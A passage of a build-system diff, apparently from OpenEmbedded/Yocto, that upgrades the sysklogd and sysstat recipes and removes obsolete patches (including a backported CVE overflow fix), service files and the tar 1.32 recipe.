-Upstream-Status: Inappropriate [ no upstream ]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ksym_mod.c | 1 -
- 1 file changed, 1 deletion(-)
-
-diff --git a/ksym_mod.c b/ksym_mod.c
-index 6e26da1..a3daa7d 100644
---- a/ksym_mod.c
-+++ b/ksym_mod.c
-@@ -186,7 +186,6 @@ extern int InitMsyms()
- else
- Syslog(LOG_ERR, "Error loading kernel symbols " \
- "- %s\n", strerror(errno));
-- fclose(ksyms);
- return(0);
- }
-
---
-2.13.2
-
diff --git a/meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch b/meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch
deleted file mode 100644
index ebbdef303b..0000000000
--- a/meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From b22f244732cd0f475af2f82fc7eecec49f90623b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sat, 1 Jul 2017 00:01:50 -0700
-Subject: [PATCH 2/2] Make way for respecting flags from environment
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- Makefile | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/Makefile b/Makefile
-index 5af1689..af699d2 100644
---- a/Makefile
-+++ b/Makefile
-@@ -17,14 +17,12 @@
- # along with this program; if not, write to the Free Software
- # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
-
--CC= gcc
- #SKFLAGS= -g -DSYSV -Wall
- #LDFLAGS= -g
--SKFLAGS= $(RPM_OPT_FLAGS) -O3 -DSYSV -fomit-frame-pointer -Wall -fno-strength-reduce
-+SKFLAGS = $(CFLAGS) $(CPPFLAGS) -DSYSV -Wall -fno-strength-reduce
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE
- # $(shell getconf LFS_SKFLAGS)
--LDFLAGS= -s
-
- # Look where your install program is.
- INSTALL = /usr/bin/install
---
-2.13.2
-
diff --git a/meta/recipes-extended/sysklogd/files/klogd.service b/meta/recipes-extended/sysklogd/files/klogd.service
deleted file mode 100644
index 0c888c497d..0000000000
--- a/meta/recipes-extended/sysklogd/files/klogd.service
+++ /dev/null
@@ -1,13 +0,0 @@
-[Unit]
-Description=Kernel Logging Service
-After=syslogd.service
-
-[Service]
-Type=forking
-ExecStart=/sbin/klogd
-PIDFile=/var/run/klogd.pid
-StandardOutput=null
-Restart=on-failure
-
-[Install]
-WantedBy=multi-user.target
diff --git a/meta/recipes-extended/sysklogd/files/no-strip-install.patch b/meta/recipes-extended/sysklogd/files/no-strip-install.patch
deleted file mode 100644
index d426c83bf2..0000000000
--- a/meta/recipes-extended/sysklogd/files/no-strip-install.patch
+++ /dev/null
@@ -1,17 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
-Index: sysklogd-1.5.1/Makefile
-===================================================================
---- sysklogd-1.5.1.orig/Makefile
-+++ sysklogd-1.5.1/Makefile
-@@ -127,8 +127,8 @@ clobber: clean
- rm -f syslogd klogd ksym syslog_tst oops_test TAGS tsyslogd tklogd
-
- install_exec: syslogd klogd
-- ${INSTALL} -m 500 -s syslogd ${BINDIR}/syslogd
-- ${INSTALL} -m 500 -s klogd ${BINDIR}/klogd
-+ ${INSTALL} -m 500 syslogd ${BINDIR}/syslogd
-+ ${INSTALL} -m 500 klogd ${BINDIR}/klogd
-
- install_man:
- ${INSTALL} -o ${MAN_USER} -g ${MAN_GROUP} -m ${MAN_PERMS} sysklogd.8 ${MANDIR}/man8/sysklogd.8
diff --git a/meta/recipes-extended/sysklogd/files/no-vectorization.patch b/meta/recipes-extended/sysklogd/files/no-vectorization.patch
deleted file mode 100644
index c1cc042c9c..0000000000
--- a/meta/recipes-extended/sysklogd/files/no-vectorization.patch
+++ /dev/null
@@ -1,20 +0,0 @@
-Upstream-Status: Inappropriate
-
-The compiler should not be generating vectorized instructions on this target.
-This is a work around until I can determine why this is occuring on this
-particular recipe
-
-Index: sysklogd-1.5/Makefile
-===================================================================
---- sysklogd-1.5.orig/Makefile
-+++ sysklogd-1.5/Makefile
-@@ -20,7 +20,8 @@
- CC= gcc
- #SKFLAGS= -g -DSYSV -Wall
- #LDFLAGS= -g
--SKFLAGS= $(RPM_OPT_FLAGS) -O3 -DSYSV -fomit-frame-pointer -Wall -fno-strength-reduce
-+SKFLAGS= $(RPM_OPT_FLAGS) -O3 -DSYSV -fomit-frame-pointer -Wall -fno-strength-reduce \
-+ -fno-tree-vectorize
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE
- # -D_FILE_OFFSET_BITS=64 -D_LARGEFILE64_SOURCE
- # $(shell getconf LFS_SKFLAGS)
diff --git a/meta/recipes-extended/sysklogd/files/sysklogd b/meta/recipes-extended/sysklogd/files/sysklogd
index 73424840ba..050772b59d 100755
--- a/meta/recipes-extended/sysklogd/files/sysklogd
+++ b/meta/recipes-extended/sysklogd/files/sysklogd
@@ -18,12 +18,13 @@
PATH=/bin:/usr/bin:/sbin:/usr/sbin
pidfile_syslogd=/var/run/syslogd.pid
-pidfile_klogd=/var/run/klogd.pid
-binpath_syslogd=/sbin/syslogd
-binpath_klogd=/sbin/klogd
+binpath_syslogd=/usr/sbin/syslogd
test -x $binpath || exit 0
+# run secure by default
+SYSLOGD="-ss"
+
test ! -r /etc/default/syslogd || . /etc/default/syslogd
create_xconsole()
@@ -112,28 +113,16 @@ case "$1" in
create_xconsole
start-stop-daemon --start --quiet --pidfile $pidfile_syslogd --name syslogd --startas $binpath_syslogd -- $SYSLOGD
log_end_msg $?
- log_begin_msg "Starting kernel log daemon..."
- start-stop-daemon --start --quiet --pidfile $pidfile_klogd --name klogd --startas $binpath_klogd -- $KLOGD
- log_end_msg $?
;;
stop)
log_begin_msg "Stopping system log daemon..."
start-stop-daemon --stop --quiet --pidfile $pidfile_syslogd --name syslogd
log_end_msg $?
- log_begin_msg "Stopping kernel log daemon..."
- start-stop-daemon --stop --quiet --retry 3 --exec $binpath_klogd --pidfile $pidfile_klogd
- log_end_msg $?
;;
reload|force-reload)
log_begin_msg "Reloading system log daemon..."
start-stop-daemon --stop --quiet --signal 1 --pidfile $pidfile_syslogd --name syslogd
log_end_msg $?
- log_begin_msg "Reloading kernel log daemon..."
- pid=`cat $pidfile_klogd 2> /dev/null`
- start-stop-daemon --stop --quiet --retry 3 --exec $binpath_klogd --pidfile $pidfile_klogd
- waitpid $pid
- start-stop-daemon --start --quiet --pidfile $pidfile_klogd --name klogd --startas $binpath_klogd -- $KLOGD
- log_end_msg $?
;;
restart)
log_begin_msg "Restarting system log daemon..."
@@ -142,12 +131,6 @@ case "$1" in
waitpid $pid
start-stop-daemon --start --quiet --pidfile $pidfile_syslogd --name syslogd --startas $binpath_syslogd -- $SYSLOGD
log_end_msg $?
- log_begin_msg "Reloading kernel log daemon..."
- pid=`cat $pidfile_klogd 2> /dev/null`
- start-stop-daemon --stop --quiet --retry 3 --exec $binpath_klogd --pidfile $pidfile_klogd
- waitpid $pid
- start-stop-daemon --start --quiet --pidfile $pidfile_klogd --name klogd --startas $binpath_klogd -- $KLOGD
- log_end_msg $?
;;
reload-or-restart)
if running
@@ -160,8 +143,6 @@ case "$1" in
status)
status syslogd
RETVAL=$?
- status klogd
- rval=$?
[ $RETVAL -eq 0 ] && exit $rval
exit $RETVAL
;;
diff --git a/meta/recipes-extended/sysklogd/files/syslog.conf b/meta/recipes-extended/sysklogd/files/syslog.conf
deleted file mode 100644
index 0849de1268..0000000000
--- a/meta/recipes-extended/sysklogd/files/syslog.conf
+++ /dev/null
@@ -1,71 +0,0 @@
-# /etc/syslog.conf Configuration file for syslogd.
-#
-# Ported from debian by Yu Ke <ke.yu@intel.com>
-#
-
-#
-# First some standard logfiles. Log by facility.
-#
-
-auth,authpriv.* /var/log/auth.log
-*.*;auth,authpriv.none -/var/log/syslog
-#cron.* /var/log/cron.log
-daemon.* -/var/log/daemon.log
-kern.* -/var/log/kern.log
-lpr.* -/var/log/lpr.log
-mail.* -/var/log/mail.log
-user.* -/var/log/user.log
-
-#
-# Logging for the mail system. Split it up so that
-# it is easy to write scripts to parse these files.
-#
-mail.info -/var/log/mail.info
-mail.warn -/var/log/mail.warn
-mail.err /var/log/mail.err
-
-# Logging for INN news system
-#
-news.crit /var/log/news.crit
-news.err /var/log/news.err
-news.notice -/var/log/news.notice
-
-#
-# Some `catch-all' logfiles.
-#
-*.=debug;\
-auth,authpriv.none;\
-news.none;mail.none -/var/log/debug
-
-*.=info;*.=notice;*.=warn;\
-auth,authpriv.none;\
-cron,daemon.none;\
-mail,news.none -/var/log/messages
-
-#
-# Emergencies are sent to everybody logged in.
-#
-*.emerg *
-
-#
-# I like to have messages displayed on the console, but only on a virtual
-# console I usually leave idle.
-#
-#daemon,mail.*;\
-#news.=crit;news.=err;news.=notice;\
-#*.=debug;*.=info;\
-#*.=notice;*.=warn /dev/tty8
-
-# The named pipe /dev/xconsole is for the `xconsole' utility. To use it,
-# you must invoke `xconsole' with the `-file' option:
-#
-# $ xconsole -file /dev/xconsole [...]
-#
-# NOTE: adjust the list below, or you'll go crazy if you have a reasonably
-# busy site..
-#
-daemon.*;mail.*;\
-news.err;\
-*.=debug;*.=info;\
-*.=notice;*.=warn |/dev/xconsole
-
diff --git a/meta/recipes-extended/sysklogd/files/syslogd.service b/meta/recipes-extended/sysklogd/files/syslogd.service
deleted file mode 100644
index eeaff3d38d..0000000000
--- a/meta/recipes-extended/sysklogd/files/syslogd.service
+++ /dev/null
@@ -1,14 +0,0 @@
-[Unit]
-Description=System Logging Service
-Requires=syslog.socket
-
-[Service]
-Type=forking
-ExecStart=/sbin/syslogd
-PIDFile=/var/run/syslogd.pid
-StandardOutput=null
-Restart=on-failure
-
-[Install]
-WantedBy=multi-user.target
-Alias=syslog.service
diff --git a/meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf b/meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf
deleted file mode 100644
index f4aecd385b..0000000000
--- a/meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf
+++ /dev/null
@@ -1 +0,0 @@
-p /dev/xconsole 0640 root adm
diff --git a/meta/recipes-extended/sysklogd/sysklogd.inc b/meta/recipes-extended/sysklogd/sysklogd.inc
deleted file mode 100644
index 749026f853..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd.inc
+++ /dev/null
@@ -1,78 +0,0 @@
-SUMMARY = "System Log Daemons"
-DESCRIPTION = "The sysklogd package implements two system log daemons: syslogd, klogd"
-HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
-SECTION = "base"
-
-LICENSE = "GPLv2+ & BSD"
-LICENSE_syslogd = "BSD"
-LICENSE_klogd = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=8ca43cbc842c2336e835926c2166c28b \
- file://syslogd.c;beginline=2;endline=15;md5=77ffb2fec48c46d7ca0abb2d5813e7fd \
- file://klogd.c;beginline=2;endline=19;md5=7e87ed0ae6142de079bce738c10c899d \
- "
-
-inherit update-rc.d update-alternatives systemd
-
-SRC_URI = "git://github.com/troglobit/sysklogd.git;nobranch=1 \
- file://no-strip-install.patch \
- file://0001-Fix-build-with-musl.patch \
- file://0001-fix-problems-that-causes-a-segmentation-fault-under-.patch \
- file://0002-Make-way-for-respecting-flags-from-environment.patch \
- file://sysklogd \
- file://syslog.conf \
- file://syslogd.service \
- file://klogd.service \
- file://tmpfiles.sysklogd.conf \
- "
-S = "${WORKDIR}/git"
-
-SRC_URI_append_e500v2 = " file://no-vectorization.patch"
-
-SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "syslogd.service klogd.service"
-SYSTEMD_AUTO_ENABLE = "enable"
-
-INITSCRIPT_NAME = "syslog"
-CONFFILES_${PN} = "${sysconfdir}/syslog.conf"
-RCONFLICTS_${PN} = "rsyslog busybox-syslog syslog-ng"
-
-CFLAGS += "-DSYSV -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE"
-
-do_install () {
- install -d ${D}${mandir}/man8 \
- ${D}${mandir}/man5 \
- ${D}${base_sbindir}
- oe_runmake 'BINDIR=${D}${base_sbindir}' \
- 'MANDIR=${D}${mandir}' install
- install -d ${D}${sysconfdir}
- install -m 644 ${WORKDIR}/syslog.conf ${D}${sysconfdir}/syslog.conf
- install -d ${D}${sysconfdir}/init.d
- install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
- install -d ${D}${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/syslogd.service ${D}${systemd_unitdir}/system
- install -m 644 ${WORKDIR}/klogd.service ${D}${systemd_unitdir}/system
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true', 'false', d)}; then
- install -d ${D}${exec_prefix}/lib/tmpfiles.d
- install -m 644 ${WORKDIR}/tmpfiles.sysklogd.conf ${D}${exec_prefix}/lib/tmpfiles.d/sysklogd.conf
- fi
-}
-
-FILES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
-
-ALTERNATIVE_PRIORITY = "100"
-
-ALTERNATIVE_${PN}-doc = "syslogd.8"
-ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
-
-pkg_prerm_${PN} () {
- if test "x$D" = "x"; then
- if test "$1" = "upgrade" -o "$1" = "remove"; then
- /etc/init.d/syslog stop || :
- fi
- fi
-}
-
-python () {
- if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
- d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
-}
diff --git a/meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb b/meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb
deleted file mode 100644
index 88bcfd9e4a..0000000000
--- a/meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb
+++ /dev/null
@@ -1,3 +0,0 @@
-require sysklogd.inc
-
-SRCREV = "930a2b1c0d15b14309a49f14e3f30e905456af4d"
diff --git a/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb b/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb
new file mode 100644
index 0000000000..7043f3d391
--- /dev/null
+++ b/meta/recipes-extended/sysklogd/sysklogd_2.3.0.bb
@@ -0,0 +1,56 @@
+SUMMARY = "System Log Daemons"
+DESCRIPTION = "The sysklogd package implements system log daemons: syslogd"
+HOMEPAGE = "http://www.infodrom.org/projects/sysklogd/"
+SECTION = "base"
+
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=5b4be4b2549338526758ef479c040943 \
+ file://src/syslogd.c;beginline=2;endline=15;md5=a880fecbc04503f071c494a9c0dd4f97 \
+ "
+
+inherit update-rc.d update-alternatives systemd autotools
+
+SRC_URI = "git://github.com/troglobit/sysklogd.git;branch=master;protocol=https \
+ file://sysklogd \
+ "
+
+SRCREV = "03c2c9c68d5d02675326527774e7e9cba3490ba0"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-systemd=${systemd_system_unitdir} --without-logger"
+
+do_install:append () {
+ install -d ${D}${sysconfdir}
+ install -m 644 ${S}/syslog.conf ${D}${sysconfdir}/syslog.conf
+ install -d ${D}${sysconfdir}/init.d
+ install -m 755 ${WORKDIR}/sysklogd ${D}${sysconfdir}/init.d/syslog
+}
+
+SYSTEMD_PACKAGES = "${PN}"
+SYSTEMD_SERVICE:${PN} = "syslogd.service"
+SYSTEMD_AUTO_ENABLE = "enable"
+
+INITSCRIPT_NAME = "syslog"
+CONFFILES:${PN} = "${sysconfdir}/syslog.conf"
+RCONFLICTS:${PN} = "rsyslog busybox-syslog syslog-ng"
+
+FILES:${PN} += "${@bb.utils.contains('DISTRO_FEATURES','systemd','${exec_prefix}/lib/tmpfiles.d/sysklogd.conf', '', d)}"
+
+ALTERNATIVE_PRIORITY = "100"
+
+ALTERNATIVE:${PN}-doc = "syslogd.8"
+ALTERNATIVE_LINK_NAME[syslogd.8] = "${mandir}/man8/syslogd.8"
+
+pkg_prerm:${PN} () {
+ if test "x$D" = "x"; then
+ if test "$1" = "upgrade" -o "$1" = "remove"; then
+ /etc/init.d/syslog stop || :
+ fi
+ fi
+}
+
+python () {
+ if not bb.utils.contains('DISTRO_FEATURES', 'sysvinit', True, False, d):
+ d.setVar("INHIBIT_UPDATERCD_BBCLASS", "1")
+}
diff --git a/meta/recipes-extended/sysstat/sysstat.inc b/meta/recipes-extended/sysstat/sysstat.inc
index 5a7d2114ca..77337722ea 100644
--- a/meta/recipes-extended/sysstat/sysstat.inc
+++ b/meta/recipes-extended/sysstat/sysstat.inc
@@ -1,7 +1,7 @@
SUMMARY = "System performance tools"
DESCRIPTION = "The sysstat utilities are a collection of performance monitoring tools for Linux."
HOMEPAGE = "http://sebastien.godard.pagesperso-orange.fr/"
-LICENSE = "GPLv2+"
+LICENSE = "GPL-2.0-or-later"
SECTION = "console/utils"
SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/${BP}.tar.xz \
@@ -10,14 +10,13 @@ SRC_URI = "http://pagesperso-orange.fr/sebastien.godard/${BP}.tar.xz \
"
UPSTREAM_CHECK_URI = "http://sebastien.godard.pagesperso-orange.fr/download.html"
-UPSTREAM_VERSION_UNKNOWN = "1"
DEPENDS += "base-passwd"
# autotools-brokensep as this package doesn't use automake
inherit autotools-brokensep gettext systemd upstream-version-is-even
-PACKAGECONFIG ??= ""
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
PACKAGECONFIG[lm-sensors] = "--enable-sensors,--disable-sensors,lmsensors,lmsensors-libsensors"
PACKAGECONFIG[cron] = "--enable-install-cron --enable-copy-only,--disable-install-cron --disable-copy-only"
PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
@@ -25,16 +24,19 @@ PACKAGECONFIG[systemd] = "--with-systemdsystemunitdir=${systemd_system_unitdir}"
EXTRA_OECONF += "--disable-stripping"
SYSTEMD_PACKAGES = "${PN}"
-SYSTEMD_SERVICE_${PN} = "sysstat.service"
+SYSTEMD_SERVICE:${PN} = "sysstat.service"
SYSTEMD_AUTO_ENABLE = "enable"
-do_configure_prepend() {
+do_configure:prepend() {
export sa_lib_dir=${libexecdir}/sa
}
do_install() {
autotools_do_install
+ # Don't version the documentation
+ mv ${D}${docdir}/${BP} ${D}${docdir}/${BPN}
+
# don't install /var/log/sa when populating rootfs. Do it through volatile
rm -rf ${D}/var
if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
@@ -46,15 +48,17 @@ do_install() {
echo "d ${localstatedir}/log/sa - - - -" \
> ${D}${sysconfdir}/tmpfiles.d/sysstat.conf
- if ${@bb.utils.contains('PACKAGECONFIG', 'cron', 'false', 'true', d)}; then
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_unitdir}/system
- sed -i -e 's#@LIBDIR@#${libdir}#g' ${D}${systemd_unitdir}/system/sysstat.service
+ # Unless both cron and systemd are enabled, install our own
+ # systemd unit file. Otherwise the package will install one.
+ if ${@bb.utils.contains('PACKAGECONFIG', 'cron systemd', 'false', 'true', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${WORKDIR}/sysstat.service ${D}${systemd_system_unitdir}
+ sed -i -e 's#@LIBEXECDIR@#${libexecdir}#g' ${D}${systemd_system_unitdir}/sysstat.service
fi
fi
}
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
if [ ! -n "$D" ]; then
if [ -e /etc/init.d/populate-volatile.sh ]; then
/etc/init.d/populate-volatile.sh update
@@ -62,6 +66,6 @@ pkg_postinst_${PN} () {
fi
}
-FILES_${PN} += "${libdir}/sa ${systemd_system_unitdir}"
+FILES:${PN} += "${systemd_system_unitdir} ${nonarch_base_libdir}/systemd"
TARGET_CC_ARCH += "${LDFLAGS}"
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-Fix-232-Memory-corruption-bug-due-to-Integer-Overflo.patch b/meta/recipes-extended/sysstat/sysstat/0001-Fix-232-Memory-corruption-bug-due-to-Integer-Overflo.patch
deleted file mode 100644
index 46b111806c..0000000000
--- a/meta/recipes-extended/sysstat/sysstat/0001-Fix-232-Memory-corruption-bug-due-to-Integer-Overflo.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 603ae4ed8cd65abf0776ef7f68354a5c24a3411c Mon Sep 17 00:00:00 2001
-From: Sebastien GODARD <sysstat@users.noreply.github.com>
-Date: Tue, 15 Oct 2019 14:39:33 +0800
-Subject: [PATCH] Fix #232: Memory corruption bug due to Integer Overflow in
- remap_struct()
-
-Try to avoid integer overflow when reading a corrupted binary datafile
-with sadf.
-
-Upstream-Status: Backport [https://github.com/sysstat/sysstat/commit/83fad9c895d1ac13f76af5883b7451b3302beef5]
-CVE: CVE-2019-16167
-
-Signed-off-by: Sebastien GODARD <sysstat@users.noreply.github.com>
-Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
----
- sa_common.c | 7 +++++--
- 1 file changed, 5 insertions(+), 2 deletions(-)
-
-diff --git a/sa_common.c b/sa_common.c
-index 395c11c..cfa9007 100644
---- a/sa_common.c
-+++ b/sa_common.c
-@@ -1336,7 +1336,8 @@ int remap_struct(unsigned int gtypes_nr[], unsigned int ftypes_nr[],
- /* Remap [unsigned] int fields */
- d = gtypes_nr[1] - ftypes_nr[1];
- if (d) {
-- if (ftypes_nr[1] * UL_ALIGNMENT_WIDTH < ftypes_nr[1])
-+ if (gtypes_nr[0] * ULL_ALIGNMENT_WIDTH +
-+ ftypes_nr[1] * UL_ALIGNMENT_WIDTH < ftypes_nr[1])
- /* Overflow */
- return -1;
-
-@@ -1365,7 +1366,9 @@ int remap_struct(unsigned int gtypes_nr[], unsigned int ftypes_nr[],
- /* Remap possible fields (like strings of chars) following int fields */
- d = gtypes_nr[2] - ftypes_nr[2];
- if (d) {
-- if (ftypes_nr[2] * U_ALIGNMENT_WIDTH < ftypes_nr[2])
-+ if (gtypes_nr[0] * ULL_ALIGNMENT_WIDTH +
-+ gtypes_nr[1] * UL_ALIGNMENT_WIDTH +
-+ ftypes_nr[2] * U_ALIGNMENT_WIDTH < ftypes_nr[2])
- /* Overflow */
- return -1;
-
---
-1.9.1
-
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch b/meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch
deleted file mode 100644
index 1b63299aae..0000000000
--- a/meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-From 42325faa88d64cce799977d611b2792beb154643 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 14 Sep 2015 08:36:59 +0000
-Subject: [PATCH] Include needed headers explicitly
-
-on glibc these headers get pulled in indirectly via other .h files
-but right fix is to include them directly when used
-
-fixes
-
-error: use of undeclared identifier 'PATH_MAX'
-error: called object type 'unsigned int' is not a function or function pointer
-dm_major = major(aux.st_rdev);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- common.c | 1 +
- ioconf.c | 1 +
- sa_common.c | 1 +
- 3 files changed, 3 insertions(+)
-
-Index: sysstat-11.7.1/common.c
-===================================================================
---- sysstat-11.7.1.orig/common.c
-+++ sysstat-11.7.1/common.c
-@@ -20,6 +20,7 @@
- */
-
- #include <stdio.h>
-+#include <limits.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdarg.h>
-Index: sysstat-11.7.1/ioconf.c
-===================================================================
---- sysstat-11.7.1.orig/ioconf.c
-+++ sysstat-11.7.1/ioconf.c
-@@ -27,6 +27,7 @@
- #include <errno.h>
- #include <dirent.h>
- #include <sys/stat.h>
-+#include <sys/types.h>
-
- #include "ioconf.h"
- #include "common.h"
-Index: sysstat-11.7.1/sa_common.c
-===================================================================
---- sysstat-11.7.1.orig/sa_common.c
-+++ sysstat-11.7.1/sa_common.c
-@@ -20,6 +20,7 @@
- */
-
- #include <stdio.h>
-+#include <limits.h>
- #include <string.h>
- #include <stdlib.h>
- #include <stdint.h>
diff --git a/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
new file mode 100644
index 0000000000..4067bb983b
--- /dev/null
+++ b/meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch
@@ -0,0 +1,31 @@
+From 1590cc614aaf0fb81cd804414d6c9d5a9227352c Mon Sep 17 00:00:00 2001
+From: Wenlin Kang <wenlin.kang@windriver.com>
+Date: Tue, 5 Nov 2019 16:16:44 +0800
+Subject: [PATCH] configure.in: remove check for chkconfig
+
+chkconfig can't work on cross-platform, so should remove check for it.
+
+Upstream-Status: Inappropriate [ embedded specific ]
+
+Signed-off-by: Wenlin Kang <wenlin.kang@windriver.com>
+---
+ configure.in | 3 ++-
+ 1 file changed, 2 insertions(+), 1 deletion(-)
+
+diff --git a/configure.in b/configure.in
+index 48b9a31..cedeb43 100644
+--- a/configure.in
++++ b/configure.in
+@@ -42,7 +42,8 @@ AC_SUBST(VER_JSON)
+ AC_SUBST(VER_XML)
+
+ AC_PATH_PROG(PATH_CP, cp)
+-AC_PATH_PROG(PATH_CHKCONFIG, chkconfig)
++#AC_PATH_PROG(PATH_CHKCONFIG, chkconfig)
++AC_SUBST(PATH_CHKCONFIG)
+
+ # Check for systemd
+ AC_CHECK_PROG(PKG_CONFIG, pkg-config, pkg-config)
+--
+1.9.1
+
diff --git a/meta/recipes-extended/sysstat/sysstat/sysstat.service b/meta/recipes-extended/sysstat/sysstat/sysstat.service
index aff07109f5..ca46befb99 100644
--- a/meta/recipes-extended/sysstat/sysstat/sysstat.service
+++ b/meta/recipes-extended/sysstat/sysstat/sysstat.service
@@ -5,7 +5,7 @@ Description=Resets System Activity Logs
Type=oneshot
RemainAfterExit=yes
User=root
-ExecStart=@LIBDIR@/sa/sa1 --boot
+ExecStart=@LIBEXECDIR@/sa/sa1 --boot
[Install]
WantedBy=multi-user.target
diff --git a/meta/recipes-extended/sysstat/sysstat_12.1.6.bb b/meta/recipes-extended/sysstat/sysstat_12.1.6.bb
deleted file mode 100644
index 362888d506..0000000000
--- a/meta/recipes-extended/sysstat/sysstat_12.1.6.bb
+++ /dev/null
@@ -1,10 +0,0 @@
-require sysstat.inc
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
-
-SRC_URI += "file://0001-Include-needed-headers-explicitly.patch \
- file://0001-Fix-232-Memory-corruption-bug-due-to-Integer-Overflo.patch \
-"
-
-SRC_URI[md5sum] = "d8e3bbb9c873dd370f6d33664e326570"
-SRC_URI[sha256sum] = "f752f3c406153a6fc446496f1102872505ace3f0931d975c1d664c81ec09f129"
diff --git a/meta/recipes-extended/sysstat/sysstat_12.4.5.bb b/meta/recipes-extended/sysstat/sysstat_12.4.5.bb
new file mode 100644
index 0000000000..fe3db4d8a5
--- /dev/null
+++ b/meta/recipes-extended/sysstat/sysstat_12.4.5.bb
@@ -0,0 +1,7 @@
+require sysstat.inc
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=a23a74b3f4caf9616230789d94217acb"
+
+SRC_URI += "file://0001-configure.in-remove-check-for-chkconfig.patch"
+
+SRC_URI[sha256sum] = "ef445acea301bbb996e410842f6290a8d049e884d4868cfef7e85dc04b7eee5b"
diff --git a/meta/recipes-extended/tar/tar/musl_dirent.patch b/meta/recipes-extended/tar/tar/musl_dirent.patch
deleted file mode 100644
index 2d98ed1310..0000000000
--- a/meta/recipes-extended/tar/tar/musl_dirent.patch
+++ /dev/null
@@ -1,19 +0,0 @@
-musl has valid d_ino implementation
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Upstream-Status: Pending
-
-Index: tar-1.28/m4/d-ino.m4
-===================================================================
---- tar-1.28.orig/m4/d-ino.m4
-+++ tar-1.28/m4/d-ino.m4
-@@ -40,7 +40,8 @@ AC_DEFUN([gl_CHECK_TYPE_STRUCT_DIRENT_D_
- [gl_cv_struct_dirent_d_ino=no],
- [case "$host_os" in
- # Guess yes on glibc systems with Linux kernel.
-- linux*-gnu*) gl_cv_struct_dirent_d_ino="guessing yes" ;;
-+ linux*-gnu*|linux*-musl*)
-+ gl_cv_struct_dirent_d_ino="guessing yes" ;;
- # Guess no on native Windows.
- mingw*) gl_cv_struct_dirent_d_ino="guessing no" ;;
- # If we don't know, assume the worst.
diff --git a/meta/recipes-extended/tar/tar_1.32.bb b/meta/recipes-extended/tar/tar_1.32.bb
deleted file mode 100644
index 18f09b5711..0000000000
--- a/meta/recipes-extended/tar/tar_1.32.bb
+++ /dev/null
@@ -1,64 +0,0 @@
-SUMMARY = "GNU file archiving program"
-DESCRIPTION = "GNU tar saves many files together into a single tape \
-or disk archive, and can restore individual files from the archive."
-HOMEPAGE = "http://www.gnu.org/software/tar/"
-SECTION = "base"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-SRC_URI = "${GNU_MIRROR}/tar/tar-${PV}.tar.bz2 \
- file://musl_dirent.patch \
-"
-
